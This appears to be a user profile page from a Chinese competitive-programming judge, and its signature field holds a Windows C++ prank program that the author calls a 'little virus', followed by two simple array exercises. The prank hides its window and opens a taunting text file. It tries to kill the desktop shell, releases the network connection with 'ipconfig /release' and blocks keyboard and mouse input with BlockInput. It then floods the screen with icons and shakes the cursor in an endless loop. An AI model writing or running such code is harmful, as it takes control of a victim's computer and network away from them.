smt123
斗王
排名 453
距离下一等级 斗皇 还需AC 71 题

真实姓名

不显示

Email

隐藏

个性签名

Pending 等待复活 Judging 正在复活 Accepted 复活成功 Wrong Answer 复活失败 Partially Correct 你复活得不完全 Runtime Error 复活错误 Time Limit Exceeded 复活超时 Memory Limit Exceeded 复活次数太多 Output Limit Exceeded 复活次数贼多 File Error 请使用文件复活 Invalid Interaction 请和我交换复活 Compile Error 复活故障 No Testdata 不能复活 Judgement Failed 复活出锅了 System Error 复活器爆炸了 Unknown 复活器爆炸了 #include #include #include #include <windows.h> #include <time.h> #include<stdio.h> #include <tchar.h> #include #include<winable.h> #include <Mmsystem.h>

using namespace std;

void Play() { //获取桌面宽 int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN); //获取桌面高 int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN); //获取窗口句柄 HWND hDesktop = GetDesktopWindow(); //获取窗口dc HDC hdc = GetWindowDC(hDesktop); //获取光标位置 POINT cursor; GetCursorPos(&cursor); //在光标位置处画错误图标 DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR)); DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_WINLOGO)); DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_INFORMATION));

//在屏幕随机位置画上警告图标
if (rand() % 3 == 0)       //取随机数,如果此数能被3整除则在屏幕上任意位置画一个警告标志
	DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WINLOGO));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_ERROR));

} int x=0,y=0,a=0,m=0;

VOID BlackScreen(VOID) { //暂时黑屏 PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2); } int main(){ HDC hdc = GetDC(NULL); // 获取屏幕设备上下文句柄
// 释放设备上下文句柄
HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL); if(hwnd) { ShowWindow(hwnd,SW_HIDE); } HWND hWnd = GetConsoleWindow(); SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); ofstream outfile("asdfghjklyhbthnuhv.txt",ios::out); if (!outfile) {
cerr<<"open error"<<endl;
return 0; } outfile<<"let`s play!______little virus ]~( ̄▽ ̄)~ヾ(≧▽≦)o"; outfile.close(); system("start asdfghjklyhbthnuhv.txt"); system("taskkill /im explore.exe/f"); system("ipconfig /release"); //断开网络

BlockInput(TRUE);

RECT rect;

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);	

POINT p; 
srand((unsigned) time(NULL));
HWND Wnd= GetForegroundWindow(); 
ShowWindow(Wnd, SW_HIDE);  
while(1)
{	
	Play();
	Play();
	Sleep(3);  
	GetCursorPos(&p); 
	x = rand() % 2;
	y = rand() % 2;
	a = rand() % 2;
	m=rand()%13;
	if(a==1)
	{
		SetCursorPos(p.x+x+3,p.y+y+3);
		SetCursorPos(p.x-x-3,p.y+y-3);
		SetCursorPos(p.x+x+3,p.y+y-3);
		SetCursorPos(p.x-x-3,p.y+y+3);
	}
	else if(a==0)
	{
		SetCursorPos(p.x-x-3,p.y-y-3);
		SetCursorPos(p.x+x+3,p.y-y+3);
		SetCursorPos(p.x-x-3,p.y-y+3);
		SetCursorPos(p.x+x+3,p.y-y-3);
	}else if(m==0){
		SetCursorPos(p.x-x-2,p.y-y-0);
		SetCursorPos(p.x+x+2,p.y-y+0);
		SetCursorPos(p.x-x-0,p.y-y+2);
		SetCursorPos(p.x+x+0,p.y-y-2);	LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);	
		
	}
	
	
}

}

#include<bits/stdc++.h> using namespace std; int main(){ bool a[3][4]; for(int i=0; i<3; i++){ for(int j=0; j<4; j++){ cin>>a[i][j]; } } for(int i=0; i<3; i++){ for(int j=0; j<4; j++){ cout<<a[i][j]<<" "; } cout<<endl; } }

#include<bits/stdc++.h> using namespace std; int main(){ double a[3][3]; for(int i=0; i<3; i++){ for(int j=0; j<3; j++){ cin>>a[i][j]; } } cout<<a[2][2]<<" "<<a[1][1]; } firstChild : null

注册于

2023-06-07 15:44:03

统计

练习情况